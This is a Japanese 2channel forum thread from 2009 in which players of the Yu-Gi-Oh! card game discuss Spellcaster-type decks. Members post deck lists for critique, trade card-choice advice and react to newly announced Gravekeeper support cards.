【遊戯王】魔法使い族デッキを極めるVol.22【墓守】
アタッカーにヂェミナイ・熟練・カイクウを抱え
切り札にはエンディミオンや氷の女王を擁し
トリッキーやBMGも下級みたいに出すのは簡単
師匠とヂェミナイ、コスモを軸にバニラビートを組んでもいいし
沈黙魔女や魔法族の里でロックデッキもおk
最下級には執念・モノマネ・見習い・水晶と層も厚く、
下級にも優秀な壁の墓守の偵察者、ディフェンダー
モンスターを素早く呼んでこられるサモプリ
魔法使い達を束ねる先生
3400もの攻撃力を叩き出すリリー、魔法・罠除去のライラと有能なモンスターを擁す。
魔法は師匠関連の強烈なサポートにこれぞ魔法使いのディメンションとサークル
魔力カウンターも罠できちんとサポートしてる
そして無限の可能性を秘めた魔法都市とアーカナイト・・・・・・・・・・・
そんな魔法使い達で最強を目指すためのスレです。
前スレ
【遊戯王】魔法使い族デッキを極めるVol.21【墓守】
http://schiphol.2ch.net/test/read.cgi/tcg/1253621144 【遊戯王】墓守を保守するスレ【ぼしゅ】
http://schiphol.2ch.net/test/read.cgi/tcg/1192637868/l50 関連スレ
【遊戯王】フォーチュンレディ レベル8
http://schiphol.2ch.net/test/read.cgi/tcg/1251811489/l50 ・どこまでが魔法使いデッキかは個人差があります。
シンクロ軸やゴーズやモグラ、ダムドが入っていたからと言って無闇に叩くのはやめましょう。
・基本的にガチの魔法使いを語る場ですが、コンセプトがあるならばネタでもOKです。
・次スレは
>>950 が立てましょう。無理そうなら速やかに誰かを指定すること。
・たまには師匠にも目を向けてあげてください。
・診断して欲しい場合は↓をよく読んでから投稿しましょう。
◆デッキ診断をお願いする前に
診断をお願いする前には、まず「やりたいこと」「回した感想」を書き込みましょう。
いきなりデッキを晒すのも構いませんが
「やりたいこと」「回した感想」がないものはNGです。
よくある質問 ・師匠と弟子 前者はブラック・マジシャン、後者ブラックマジシャンガールのことです。 由来は原作より ・王様 神聖魔導王エンミディオンのことです。 由来はイラストが王様に見えるからです。 ・先生 マジカル・コンダクターのこと。 由来は英語名のイグザンプラーの訳が師範や先生という意味を持ちます。 また、 イラストが先生に見えるからです。 ・マジシャンズ・サークルとディメンション・マジックって使えるの? デッキによりけりです。 入れる場合は前者なら、マリオネットや弟子を素早く出したい。 後者なら、上級魔法使い族の複数投下している。
496 名前:名無しプレーヤー@手札いっぱい[sage] 投稿日:2009/10/03(土) 18:23:32 ID:8aahaY0c0
サークルは万能サーチだと思うがなぁ?
俺は先生やナイエン、サモプリ辺りを良く呼ぶ
ディメマとトーナメントレベルに通用しないってくだりは良いと思う
498 名前:名無しプレーヤー@手札いっぱい[sage] 投稿日:2009/10/03(土) 18:32:27 ID:k//12yZEO
見た目が王様っぽいって…
名前からだろ
501 名前:名無しプレーヤー@手札いっぱい[sage] 投稿日:2009/10/03(土) 18:44:38 ID:hxBWg9hJ0
>>494 先生も見た目は由来と関係ねぇーよ
お前のその見た目から由来が発生ってのはどっからきてるんだ?
テンプレ弄ったみたいだけど、前スレで出た↑の意見はガン無視か?
確かにサークルはマジコンやナイエン何かも良く呼ばれてるぞ
そして特に「見えるから呼ばれてる」ってのは定かでないんだから消しておけよ…
由来は先生=マジコンだけで十分 ディメマとサークルは人によって使い勝手が違うから各自回せ、でいい
墓守スレは落ちてるがいいのか
スレタイはいつまで墓守なの?
タブーにふれやがって
前スレに書こうと思ったけど、こっち書きます。 孤独王は使ってことがないので間違っているかもorz ・薔薇王 魔力カウンターを高速で貯め、黒薔薇ぶっぱから 効果で王様3体を特殊召喚して、勝負を決めるデッキ。 モンスターはサモプリ、トマト、王様、サイコ・コマンダーが入っている。 モンスターは10枚弱 緊テレが制限により、運用は困難 孤独王 薔薇王と同じように高速で魔力カウンターを貯める点は同じだが、 モンスターは王様のみ 共通点はソリティアになりがち。
Salvage
13 :
名無しプレイヤー@手札いっぱい。 :2009/10/25(日) 11:23:51 ID:dcu+614/O
ミスッたw
魔力カウンター軸のネフライダーを作ったんだけど診てもらってもいいかな? 魔法使いは初心者でいまいち延び悩んでる。 [上級 4枚] ライダー2 ネフティス2 [下級 17枚] 先生3 ブレイカー3 ディフェンダー2 見習い2 水晶1 執念1 導き手2 風水師1 ナイトエンド1 ゾンキャリ1 [魔法 17枚] 都市3 テラフォ2 大嵐1 サイク1 光の護封剣1 洗脳1 クロスソウル2 月の書1 地砕き1 貪欲1 ディメマ2 ライボル1 [罠 3枚] 激流1 ミラフォ1 リビング1 合計41枚 都市の自己防衛能力を活かしてネフライダーを取り入れてみた。 回した感想は、ライダーは事故軽減かつ来なくてもシンクロで打点補える から2枚にしてるんだが2枚来た時は大抵死ぬ。 上級の魔法使いがいないからディメマに疑問を感じている。 ネフがすぐに殴り殺されるから収縮に変えようかとも思ってるが ディメマは何だかんだと便利で。 よろしくお願いします。
ライダーって墓地送りだから都市壊れるんじゃね?
俺も元々持ってたネフライダーに都市組み込もうとしたことあったけど、
>>15 に気づいて陥落したw
そうじゃなくても相性のいい黄泉ガエル使えなくなるし、ネフライダーに都市は微妙という結論に
マジコン+おろかでネフティス即出しできるからそこは使えると思うんだけど
ネフティス+ライダー+都市とあっち行ったりこっち行ったりするより、それぞれ単体で組んだ方が今は強いかも知れん
あと個人的にネフに収縮は必須
戦闘補助もそうだけど、天敵の奈落を回避するのが一番大事
同じく回避と能動発動にジェネレーションチェンジも採用圏内かと
ネフティスには色々と厳しい環境だがお互い頑張ろうぜと魔法使いスレにあらぬ台詞を言ってみるw
>>15 ライダーのテキスト確認したけど
「このカードが破壊され墓地へ送られた時、
自分の墓地に存在するモンスター1体を選択して発動する。
自分フィールド上のカードを全て破壊する。
選択したモンスター1体を自分フィールド上に特殊召喚する。」
でできないの?
>>16 奈落は準制限になったから2体目は落ちないかなと思ってたけど
戦闘補助もできるしディメマ抜くかして収縮入れてみる。
ありがとう
>>17 ん・・・?言われてみればライダーが破壊じゃないとネフライダーの決めコンボが発動しないな
ということは都市が墓地に送られたのはCGIのバグか
ひょっとしたら
>>15 って俺と同じ場所のCGIで同じバグに遭遇したのかも知れんw
連レスすまん、また言い忘れた
>>17 無力の証明もお勧め
ブリュもゴヨウもスターダストも、シンクロ出来なきゃ怖くない!
ネフティスはいとも簡単に出てくるしね
昔はよくネフティスにお世話になったな
導き手が魔法使いですから
エキセントリックボーイを使ってアーカナイト出して アサルトモード発動してアーカナイトマジシャン/アサルトモード出せれば・・・ まぁうまく行かないんですけどね
エキセントリックは評価されそうで1歩足らないカード 即20~30を出せるのは大きいと思うんだがなぁ
とりあえずシンクロを出さないといけない/バスターデッキとか 結束魔法使いデッキの打点カバーとかに優秀だな
魔法使いにかわいいカード多すぎる・・・。これは組むしかないな、ハーレムデッキを。 ということでサイマジデッキを参考にさせてもらいます。
サイマジって女の子なの? ちょっくら買い占めてくる
今更…?
今の時代は霊使い里メタビだぜ
あえて霊使いでやる価値はないがな 身内対戦なら結構強くて楽しいけどね
ピケクラデッキがうまくまわらん レシピかアドバイスほしいです
最近魔法使いデッキを作ってみたんですが勝率、回り共にイマイチです 初めてでデッキ構成糞なんで診てもらいたいです 合計40枚 [上級モンスター7] ゴーズ1 ブラマジ3 ブラマジガール3 [下級モンスター11] 熟練の黒魔術師3 ブレイカー3 見習い魔術師3 老魔術師1 マシュマロン1 [魔法12] ディメンションマジック3 洗脳1 大嵐1 サイクロン1 ライボル1 魔道師の力2 カーテン2 護封剣1 [罠10] 宣告1 激流1 ミラフォ1 奈落3 お触れ3 マジシャンズサークル1 ライロデッキと当たる場合も多々あるのでサークルは一枚 BFなんかの展開力で押されると手も足も出ません 魔力カウンター系が入ってないのは使うのが難しそう&それ関係のカードを持っていないからです ゴーズやマシュマロンなんかは何を入れたら良いか解らなくて入れてあるだけです 必要とあらばSDも買いたいですが、いかんせんこの糞デッキで勝てるようになるか怪しいので、どうしてもほしいカードが出てきたら買おうと思います
>>32 サークル1でBMG3、しかも師匠も3とか重すぎだろ
ディメマも基本ディスアドだから特にこの構成だとジリ貧の元
罠が7あるのにお触れ3とか自分の首絞めるだけ
最後に奈落は準制限カード
何を軸にしたいか分からないから
とりあえず再録も新規も優秀なカード多いから
SD買っておいて損は無いと思う
ディフェンダーとか水晶、執念深い老魔術師etc
>>33 有難う御座います
じゃぁSD買って次のような感じにするのがいいでしょうか?
[罠8]
宣告1 激流1 ミラフォ1 奈落2 マジシャンズサークル3
[下級モンスター13]
熟練の黒魔術師3 ブレイカー3 見習い魔術師3 老魔術師1 マシュマロン1 水晶2
>>34 どういうデッキにしたいの?
師匠ビート?それとも魔法使いを使いたいだけ?
マシュとゴーズやら抜いて結束型にも出来るし、熟練で師匠出すなら魔法増やして罠が減る。
とりあえず自分の中でコンセプトを決めてくれ。
難しかったら協力するから。
さすがにサークル3枚もいらないでしょ、1・2枚で十分 BMG3積みならカーテンより賢者の宝石の方がいいかと
前スレの途中当たりから読んでて結束ほしいなと思ったんですが、賢者の宝石ともに入手が困難なんですよね;; かわりに苦痛はSDで手に入るので考えたりもしています コンセプトについては、とりあえず結束が無いので魔法を増やす感じが良いです 魔法を増やすとしたらどんなのがいいんでしょうか? SDを買うなら出来れば2つから3つくらいまででカードを揃えたいです
>>37 やっぱりまだ、なんとなく魔法使い族を使いたい!って段階で
魔法使い族で○○するデッキを作りたい!って段階ではないね
残念だけど、それではこちらもアドバイスが出来ない
極端な話、デッキ診断なんて「俺のガチ魔法使い晒すからこれ使えよ」で済んでしまうからね
もう少しネットで検索して色々なレシピを見て、自分に合っていそうなものを探すのが良いよ
>>37 魔法使いを増やしたいんじゃなくて魔法カードを増やしたいの?
魔力カウンター使わないそのデッキで
魔法カード増やすとしても地砕き地割れスケゴみたいな
汎用カードしか勧められないけど?
つか、根本的なことだけど「勝ちたい」ってどれぐらい勝ちたいんだ? ライロや剣闘にってならぶっちゃけ今のカードプールだと無理だぞ どんなに弄ってもよくて7対3ぐらいにしか持っていけない(当然ライロ剣闘が7ね) 残念だがそれだけ今のトップデッキはイカれてる… だから正直、良い意味でもう少し設定を低くした方が良いと思う 例えば、「ファンデッキの中で勝ちたい」とか「師匠や弟子を生かしたい」とかね ただ「勝ちたい」は漠然としすぎて「必須カード入れろ」とか当たり前の返答しかこないぞ
ライロ、検討、BF辺りトップメタに勝ちたいなら(つか7:3、6:4に持っていくとしても ガール、サークル辺りは入る余地がないからなぁ… ぶっちゃけ、マハードとディメマも微妙か
42 :
32 :2009/10/27(火) 07:11:36 ID:w49uX4CK0
イメージとしてはブラマジ3枚、ガール3枚でビートダウンするデッキで、BFなんかとやっても勝ちと負けが同じくらいに出来れば良かったんですが、やっぱり無理ですかね? それなら目標を下げようと思うんですが、もしデッキ構成しだいで何とかなるなら、それに関してアドバイスを頂きたいです。 それから、魔力カウンターを使わないデッキを使って、かつ、それなりの戦績を持っている方はいますか? もしいるならどのようなデッキを使っているんですか? あと、デッキレシピを捜すと、遊戯王フロンティアにもブラマジウィルスしか載ってないので、出来れば色々な方のレシピを参考にしたいです。 あと、マハードってブラマジのことですか? ブラマジ、ガールは入れるものとして話を進めていきたいです。
その2枚入れるとちょっとした種族統一デッキにも五分五分なんて無理
ブラマジビートなのかガールビートなのか決めてくれ
アンデライロで大会出たんだがネクロバレー張られただけで凄い苦しめられた スタダと並べられるとわりと積む
俺の結束型師匠ビートとどことなくパーツが似てるな。 ライロや剣闘といったガチとはあんまりやらないけど他のデッキには一応そこそこ勝ててる。 俺はサークル入れてないからガールの特殊召喚はあんまりできないが、師匠に関してはディメマカーテンで恐ろしい程よく出る。 フィールドにさえ出せればあとは黒・魔・導や千本ナイフなんかで除去しながら殴る。 師匠の出現率がいいから専用魔法が以外と腐らない。 師匠軸で行くなら専用魔法積んでもいいと思う。 あと、やっぱり今の環境で打点2500は不安だから結束か苦痛は必須だと思う。
>>42 既に言われてるようにBFやライロ相手に五分五分ってのは厳しい、というか無理
悲しい話だけど
師弟ビートでいくならやっぱ魔法使い統一して結束型がいいんじゃないか
800という打点はでかいし、熟練だけで魔・闇デッキ打てるのもいい
モノマネは必要だな。攻撃力的に
>>42 ガール2 老婆1 マシュマロン1 ゴーズ1 魔導師の力2 宣告 サークル2 out
カイクウ3 夜皿2 結束3 月の書2 in
なんか面白そうなデッキだね。ガールは正直BFやライロに追いつかないから切り札要素で。
墓地潰しのエリートカイクウさんは結束張ってある状態だと怒涛の攻めになる、3000オーバーのブラマジさんも頼もしい。
弱点はとにかく展開までに時間がかかって勝てないよねってこととブラマジ出しても勝てないというデッキパワーの貧弱さかな。
しかし師匠デッキは序盤から相手の除去をディメンションマジックで華麗に回避しつつ壁モンスターを破壊、入れ替わりで出てきた師匠でダイレクトなんて光景が見れるからたまらない。 スターダストに妨害もされないし、いかにも魔法使いな動きができていいよな。
51 :
名無しプレイヤー@手札いっぱい。 :2009/10/28(水) 18:11:59 ID:5v2fl35AO
魔力カウンター軸のデッキ作ったんで診断お願いします。 基本的に先生でモンズターを使い回すシンクロがメインのデッキです。 カウンターが貯まってるようならテンペスターでバーンしたり、アーカナイトで ビートダウン狙ったり。一応ガチで組んだつもりです。 上級2 カオスソーサラー マリオネット 下級19 先生3 見習い3 フィシアリスト2 ディフェンダー3 ブレイカー ジャンクシンクロン3 サモプリ カイクウ 図書館 メタモルポット 魔法17 都市3 テラフォ2 魔力掌握3 簡易融合2 大嵐 サイクロン 貪欲な壺 護封 剣 スケゴ ライボル 精神操作 洗ブレ 強制転移 魔導師の力 罠1 サークル 特にメタポとサークルは抜こうか迷ってます
sage忘れてました すんません
本スレより 632 名前:名無しプレイヤー@手札いっぱい。[sage] 投稿日:2009/10/28(水) 18:30:04 ID:0jrMD/4o0 墓守の大神官 闇・魔法使い・☆8・2000/1800 このカードは「墓守の」と名のついたモンスター1体をリリースして召喚する事が出来る。 このカードの攻撃力は自分の墓地の「墓守の」と名のついたモンスターの数×200ポイントアップする。 フィールド上に表側表示で存在する破壊される場合、代わりに手札から「墓守の」と名のついたモンスター1枚を捨てる事が出来る。 CMで唐突に発表されて噴いた
まさかの墓守強化
ナチュル・バタフライ効果内蔵の墓守か
長で充分な気がする
>>51 モンスターが多すぎると思う。
メタポ、図書館、ディフェンダー×1、魔導師の力はいらないと思う。
赤騎士やテンペスターと相性が良いパワーストーンを入れてみたらいいんじゃない。
これは個人的意見だからスルーしてもいいけど、相手のライオウ処理にクルセイダー、
デッキの回転力を上げるために闇の誘惑もありだと思う。
それと自分もガチで組んでいる身だけど、今の上位デッキ相手には都市型は遅いよ。
フリーで使うなら大丈夫だと思うけどね。
おい、だれか墓守スレ復活させろよ…。 それはそうと、こいつ結構できる子じゃね? 偵察者使えば生贄余裕だし。
何気に数少ないレベル8の魔法使いか
>>56 この1枚で墓守の組み方が何種類も増えたってわけじゃないし、要らないだろ
他にも出てバリエーションが増えるならあってもいいかも知れんけど、基本的に最近は乱立自重ムードなんだから
>>53 なんという劣化グラゴニス
残念性能すぎる
墓守なんてニッチなテーマなんだから裁き並みのぶっぱ効果付けても良かったのに
一応アブソやぶっぱ耐性があるのか 戦闘破壊にも対応してるのか! なんだそんなに低性能でもないな 手札コストの維持が問題だが…
一応、降霊の儀式で呼び出せる墓守ではトップになるのかね バレー下で25+α・破壊耐性持ち こう書くとすっごい強そうだよ!
欲を言えばバレーを回収か対象にとれなくなるカードが欲しかった でも久しぶりに墓守の関連カードが出たのは嬉しいな
>>51 魔力カウンタでガチ相手に勝つにはメタにしつつじゃないと勝てないよ
ナンバー的に他にも墓守が来る可能性があるとか。
太陽の神官がどれ位使えそうかが、考えさせられる。 あくまで自分のフィールドが空でなければならないので、結局簡易融合に頼りそうな気もするのだが...。
本スレから 墓守の大神官 闇 ☆8 魔法使い 2000/1800 このカードは「墓守の」と名のついたモンスター1体をリリースして召喚する事ができる。 このカードの攻撃力は、自分の墓地に存在する「墓守の」と名のついたモンスターの数×200ポイントアップする。 フィールド上に表側表示で存在するこのカードが破戒される場合、代わりに手札から「墓守の」と名のついたモンスター1体を捨てる事ができる。 墓守の末裔 闇 ☆4 魔法使い 1500/1200 このカード以外の自分フィールド上に表側表示で存在する「墓守の」と名のついたモンスター1体をリリースして発動する。 相手フィールド上に存在するカード1枚を破壊する。 墓守の石版 自分の墓地に存在する「墓守の」と名のついたモンスター2体を選択して手札に加える。 この効果は「王家の眠る谷-ネクロバレー」の効果では無効化されない
トレインで捨てて蘇生が基本になるだろうけど他に相性がいいカードが見当たらない
大神官効果と石版の組み合わせが強いな
バレー下でマジシャンズサークル使えば2500+200×墓地墓守で追撃できる・・! いややっぱりサークル対応はいいからもうちと攻撃力ほしかったな
地獄の番熊みたいな効果持ちの墓守は欲しかったな
72 :
51 :2009/10/29(木) 17:34:12 ID:Fy7REriUO
>>55 確かにモンスター多いですね・・・
代わりにパワーストーン二枚とクルセイダー一枚入れてみます
確かに都市使う時点でスピード負けは否めないですね・・・
ある程度回ってきたらそこそこ戦えるんですが
墓守強化いいねー 作っといてよかった
しかし王家の生け贄にされるという現実 歯車街挿してるから降霊を入れるスペースがないぜHAHAHA
墓守にシンクロ取り込みたいんだけど採用できるチューナーってマジカル以外に良いやついる? サークルで呼べるやつがいいよね
ナイトエンドきゅんの墓地除外強いです
>>76 すまん、墓守だったな。サークルで魔法使いに限って考えるとあんまり合うモンスターは居ないな…
スタダに守ってもらうためフレムベル入れてるな
僕は魔力カウンターを使わないデッキを使っているのですが、そのようなデッキでもディフェンダーの採用の余地はありますか? コンセプトによるとおもいますが、魔力カウンター軸のデッキ以外でも活躍できるか教えて頂きたいです
1ターンでも場に残せればシンクロに使えるしアリなんじゃない?里メタにも入れる人いるし
ディフェンダーは俺の光里メタの主力です
墓守強化キター なぜ今更w
これは…バレー再録フラグか?
逆に再録せず高騰フラグだろ ぶっちゃけ新墓守は特に強い気がしないけど需要は増えるし
墓守とは結構昔のテーマの強化が来たけど さらに昔、ブラックマジシャンの強化はないかな
師弟サポートが欲しい
ブラックマジシャンやネオスは10周年映画で出れば有り得るんじゃないかと期待してる
そしてそれが映画館で配布されるプロモカードになるわけだな。
光龍のブラマジ版なら或いは
ポケモンみたいに映画館限定パックなんかがあるかもね
>>84 大神官はマジシャンズサークルで呼べるんだぜ
それ強さにあんまり関係なくね? 神官はともかく石版のアド+1は普通に強いな
神聖魔導王とエクスプローシブに魅了され、魔力カウンター型……と言うか魔法使い主軸のデッキを初めて組んだ。 強いと思ったカードが手札で腐ったり、魔力カウンターは有効活用出来なくてデッキ調整の度に四苦八苦してるけど 魔法使い最高だわw
エクスプローシブって海外だと登場がかなり期待されていたみたいだが、理由はなんだろうか
向こうはアド大好きって連中が多くて、消費なしで破壊できるからから期待された?魔力カウンターもExamplarのおかげでかなり溜めやすいし。 アーカナイトは自分の攻撃力が下がってしまうのを嫌がる………と思ったけど別に自分フィールド上のだから使い方が変わるわけでもないし。。 Night'sEndとExamplarが普通にいたからかな。EXP2よりもSOVRがあとだったら日本でも一瞬は勘違いできたと思う。
墓守はとりあえずネクロバレー守るカードがほしい 墓守の戦車とか出たらやばい 出ないけど
破壊されてもすぐ次はれるように9枚態勢にしてる。 皆からやりすぎだと言われるし自分でも気づいてる。 が変えるつもりはない。
魔法使い族デッキでライロ相手に5分以上って言ってたのがいてびっくりしたわ
墓守強化で、墓守スレが消えて悲しんでいた俺の心が救われた
誰かプロキシ入れて回してみた人いる?
石板の登場で、王家の生贄が更に凶悪になるなワクワクしてきた
バレー回収カード欲しいれす^q^
墓守が墓荒らしとかありえねーw
>>104 ワロタ
ところで、デッキ診断して欲しいんだが良いかな?
>>105 デッキコンセプトや回した感想も書いてね
何デッキかぐらい言えよw
遅くなりましたが、お願いします。 結束型の魔力カウンターです。 基本的に殴る感じです。 モンスター21枚 ブラック・マジシャン 魔法の操り人形 熟練の黒魔術師*3 魔導騎士ディフェンダー*3 魔導戦士ブレイカー*2 クルセイダー・オブ・エンディミオン*2 霊滅術師カイクウ*2 マジカル・コンダクター*2 アーケイン・ファイロ*2 召喚僧サモンプリースト 仮面魔導士 ものマネ幻想師 魔法16枚 魔法都市エンディミオン*3 魔力掌握*3 一族の結束*3 二重召喚*2 テラ・フォーミング*2 光の護封剣 ディメンジョン・マジック サイクロン 罠3枚 マジシャンズ・サークル*2 聖なるバリア‐ミラーフォース‐ 感想とかは次に。
前述の通り、単純なビートダウンです。魔法使いは元々下級の打点が高いですしね。 マリオット、仮面魔導士はサークルから。特に仮面魔導士は追い討ち+1ドローなので。 二重召喚は単に展開するのに使うだけで、クルセイダー・オブ・エンディミオン用ではなく、魔力カウンターを貯めれるので使ってます。 事故は少ないんですが、アンデには4割ぐらいしか勝てないです。 単純に速さが足りない感じですね。 特にシンクロです。アーカナイトがあまり出てこない、出しにくいです。 今はファイロ+マリオット、ファイロ+星4+ものマネ幻想師で出してますが、遅い気がします。 やはりカップ麺を使うべきでしょうか? カップ麺にしたら、サークル、マリオット、仮面魔導士も抜くことになるかな。 ファイロはいずれ、ナイトエンドに変わる予定です。 特にこの辺りのアドバイスください。 他にも色々、オススメとかあればお願いします。 ブラマジは抜きたくないですw ちなみに、身内でのプレイで、ライロやBF、検討はいません。 周りはアンデや除外です。 大会は考えてませんが、もっと強くしたいので、みなさんのお力をお借りしたいと思います。
もっとやりたいことを絞りなよ
魔法使いにも黄泉ガエルとか不死武士みたいなMOB出るべき おろかな埋葬でも入れてナイトエンド落としたらどう?
>>109 111も言ってるけど、まずやりたい事を絞るべきだと思うけど一応
どうしてもアーカナイト呼びたいならサークルあるし、星4多いから風水師でいいと思う
ところで展開負けが問題だし、ビートデッキなんだよな?何故奈落がないの?
墓守の石板くるしエキセントリックと組ませて魔法使い軸シンクロダムルグって思いついたんだけどトリッキー高杉(´;ω;`)
>>109 仮面魔導師の1ドローなんてたかがしれてるぞ、メタビ軸ならともかく
少なくともこのデッキにはいらないだろう
アーカナイト出したいならカップ麺あるに越したことは無い、カウンターもたまるし
そうなると自然に二重召喚も不要になる
>>114 英語版のレアなら、\300もあれば買えるぞ
なんだこの過疎り具合は・・・ ところでみんな墓守デッキのスリーブ何色使ってる?
俺はシルバー使ってる。 墓石やら骨やらのイメージで。
無難に服装の色と同じ黒いスリーブ使ってるな
墓守の大神官楽しみすぎる デ・ザード?何だねそれは
不死王リッチーのかっこよさは異常 ずっと疑問だったんだがなんでこの2枚って関連性があるんだろう
大神官の強さがイマイチわからん 単純に打点か?
弱くはないと思う ネクロバレー下なら降霊で出せる2500アタッカーで破壊耐性付き 墓地に墓守あれば打点も上がるし、コストは石版でなんとかなる こうやって書いてると自分でも強いように思うんだが実際はな
奈落耐性、降霊対応というだけでも有用なんじゃないの? デ・ザードの事を言っているのであればお察し
昔のパワーカードって感じ
墓守主軸のデッキなら後半戦はバレーなしで、4000越えも可能じゃない? バレーがない時の墓守デッキの弱さから考えれば、結構破格なモンスターな 気がする。
大神官は普通に打点だろう いままでの墓守だけじゃゴーズとか出るだけで止まるからな
魔法都市とブラパラのデッキどうかと考えてみた。 魔導キャノンぶっぱしてブラパラで叩いたり、ディフェンダでブラパラ守ったり。 アーカナイトと並べたらかっこいいなって思ったんだ。 だが最初から大きな問題が直面した。 魔法封じるブラパラと魔法都市って相性悪くないか? 別に黒薔薇ブッパでいいんじゃないか? 作ってみるべきだろうか、それともただのブラパラにするか・・・
無理やり混ぜるよりも個別に特化したほうがいいに決まってる、ソースは俺 パラディンと里で魔法を封じるコンセプトだったんで、保険としてホルスやらが混ざったがな
単純に強さならブラパラに特化したほうが強いだろうな 求めているのが面白さなら混合も良いと思う
そうか・・・うん、ネタと割り切って作ってみる
デッキ診断お願いします。 モンスター 20枚 上級 エンディミオン×2 下級 熟練の黒魔術師×2 マジカル・コンダクター×3 ブレイカー×2 ディフェンダー×2 ナイトエンド×3 氷結界の風水師×2 フレンベル・マジカル×1 見習い×2 サモプリ×1 魔法 17枚 エンディミオン×3 テラフォ×2 魔力掌握×3 ディメンション・マジック×2 簡易融合×2 おろかな埋葬×2 ブレコン 精神操作 ライボ トラップ 7枚 奈落×2 サークル×2 ミラフォ 激流葬 リビデ EX カオス・ウィザード×2 音楽家の帝王×2 その他 コンセプトは<魔力カウンターをためつつ、 シンクロしていく感じです。 回してみた感じとしては、シンクロしたいときにシンクロできず、 なかなかしたいことができない感じです
遊戯王が今さら気になってて 魔法使いでデッキ組みたいんだが 今の環境に通用する魔法使いデッキってどんな感じ? 遊戯の漫画に出てきたカードしか知らないから 簡単なレシピみたいなの教えて貰えるとカード集め安くて助かります
今の環境で通用するのは魔力カウンターくらいか 知ってそうなカード使うなら古いけどブラマジウイルスなんてのもある レシピはググレ
ブレイカーとディフェンダーは2:3にした方がいいかなーって思っても バランス的に2:2にしちゃうよね
ごめんブレイカー、0:3だ。 だってアーカナイトが解決してくれるし。
ブレイカー:ディフェンダー=0:1~2 ブレイカーは今の環境だと微妙すぎるから困る
ちょっと墓守組んでみた 少し調整して明日の昼ぐらいにアップするんでもし良かったら診断してください
139 :
名無しプレイヤー@手札いっぱい。 :2009/11/09(月) 21:53:37 ID:ArSKWtD50
なんか失速してるな
>>140 きっと海外にいるんだ。
だから時(ry
墓守組んでみようかと思ったけど神宣制限とかw ブレイカー無制限になりやがったし 難しそうだな
>>142 如何にしてバレーを維持するかによるからなぁ…
でも大神官は打点の薄い墓守には良カードかもしれん
>>142-143 神宣は制限になったが賄賂が手に入りやすくなったのでそれでカバー。
あとスターダストドラゴンはかなり優秀(時々戦闘破壊されるがw)
スタダって結構前から微妙扱いされてるけどな
終焉の地
対抗魔術のモンスター効果版、罠版、各召喚版がくれば都市マジコンパーミ始まる
遅くなってすみません。最初は墓守シンクロのつもりがバスター突っ込んでみたらメインの勝率上がるかと思ってやってしまいました。 モンスター(17枚) 墓守の番兵 墓守の偵察者×3枚 墓守の暗殺者(アサシン) 召喚僧サモンプリースト フレムベル・マジカル×3枚 フレムベル・ヘルドッグ×3枚 バスター・ビースト×3枚 ゾンビキャリア スターダスト・ドラゴン/バスター 魔法(16枚) 大嵐 洗脳-ブレインコントロール 精神操作 真炎の爆発 月の書×3枚 王家の眠る谷-ネクロバレー×3枚 王家の生け贄×2枚 テラ・フォーミング×3枚 サイクロン 罠(8枚) 聖なるバリア-ミラーフォース- 神の宣告 次元幽閉×3枚 バスター・モード スキルドレイン×2枚 バスターはおまけ程度な感じです。 先行生け贄やバスターができればかなり有利に戦えますね
149 :
名無しプレイヤー@手札いっぱい。 :2009/11/10(火) 16:46:51 ID:JBvRuU4VO
紙束age
半端過ぎwww
サニーピクシー1枚入れてみたけど意外と便利だ
スタロの穴が浮かばなかったんだよな まあ紙束ってことでスルーしてください
サイバードラゴンツヴァイといい大神官といい末裔といい、 ABSOLUTE POWERFORCEは神パックだな
>>148 とりあえず、テラフォじゃなくて司令官だな。
それと、スタダ(スタバ)を守りたいのか。
それとも、スタダ(スタバ)で守りたいのか。
これをハッキリさせた方が良いと思う。
=====================
それにしても大神官はかなりの良カードな予感!!
(バレーを守るために)手札消費の激しい墓守にドローソースの
トレード・インを1枚でも入れれば、デッキの回りがかなり加速しそうだ。
いきなりだが診断頼む 上級 太陽の神官×2 ソーサラー×1 下級 熟練黒×2 コンダクター×3 ナイトエンド×2 フィシアリスト×1 風水師×2 ゲイル×1 ブレイカー×2 ディフェンダー×2 見習い×3 執念×2 魔法 都市×3 テラフォ×2 魔力掌握×3 誘惑×2 カップ麺×2 サイクロン×1 大嵐×1 地砕き×1 罠 奈落×2 聖バリ×1 リビングデット×1 エキストラ ブリューナク×1 ゴヨウ×1 カタストロ×1 マジックテンペスター×2 アーカナイト2 ダスト×1黒薔薇×1 レモン×1 パーシアス×1 音楽家×2 カオス×2 早速、神官が手に入ったので魔法使いに入れてみたんだけどこのデッキどうだろうか? 回した感じだとちょっと除去に弱いんだよな、このデッキで大会出るつもりだから 診断よろしく頼む、見てもらいたいところは抜くカードと入れるカードと 全体的にみてここどうやって使うの?とかそうゆうアドバイスが欲しい。 是非診断頼む
ピケルが入ってないとはどういうことだ
風水師はジャンクロンかエアベルンにするべき 誘惑はこのデッキでそんな使える?地割れ・月の書の方がいいかと
地割れとか執念とかはアーカナイトいるからいらないだろ ブレイカーいるしサイクロンもいらない あとは太陽の神官は使ってみてどう? 使ったことないからわからんが太陽の神官は1でカップ麺が3の方がいいきがする
ブレイカーいるからサイクロンいらね、は流石にどうか
魔力カウンターデッキは除去に優れてるからいいと思うんだが
サイクロンはいるな。逆にブレイカー抜いてライラかカイクウのがマシ
>>161 召喚権使って場に出す必要があって、スピード1相当じゃあサイクロンの代わりにはならんだろ
最近だと壊す前に除去られる事も多いし……
マジカルコンダクターが強いから魔法使いでガチデッキいけるかと思ったけど、肝心の呼ぶモンスターがチューナーぐらいしかなかった。
それでいい、つかマジコンってそんなもん 俺も一番活躍する流れが マジコン→カップ麺→チューナー蘇生→融合モンとチューナーでシンクロとか マジコン→洗脳or操作→チューナー蘇生→相手モンとチューナーでシンクロ って感じかな? ガチレベル実践では4つ星とか上級は殆ど呼べないと経験で知ってからが本当の構築スタート テキスト読んだだけで使う前は凄いこと出来そうとか妄想するけど 実際は風水師すら中々呼べない始末だからなw
わかっちゃいたけど黒薔薇の魔女つかえねw
簡易や操作から星2呼べるだけで十分強いだろ
太陽の神官とトリッキーどっちが使いやすいかな?
太陽の神官とトリッキーどっちが使いやすいですかね?
>>166 レベル8の魔法使いシンクロが出れば話は別なんだがね...。
あと、レベル5の魔法使いシンクロだけは登場して欲しくないなww
確実に、召喚しにく過ぎるものになるからね。
>>167 それが強いのは確かなんだけど、まず星2を墓地に送っておく必要があるのがきつい。
マジコン自体3枚しかデッキに入らないから、終末の騎士とかでがんばっても見返りが薄いし・・・
見習いも実践だとなんか上手くいかないしな
>>170 結束型にはきついかもしれんが、そうでないならジャンクロンだけで出るから簡単
チューナーの方に縛りがあったら無理だけど
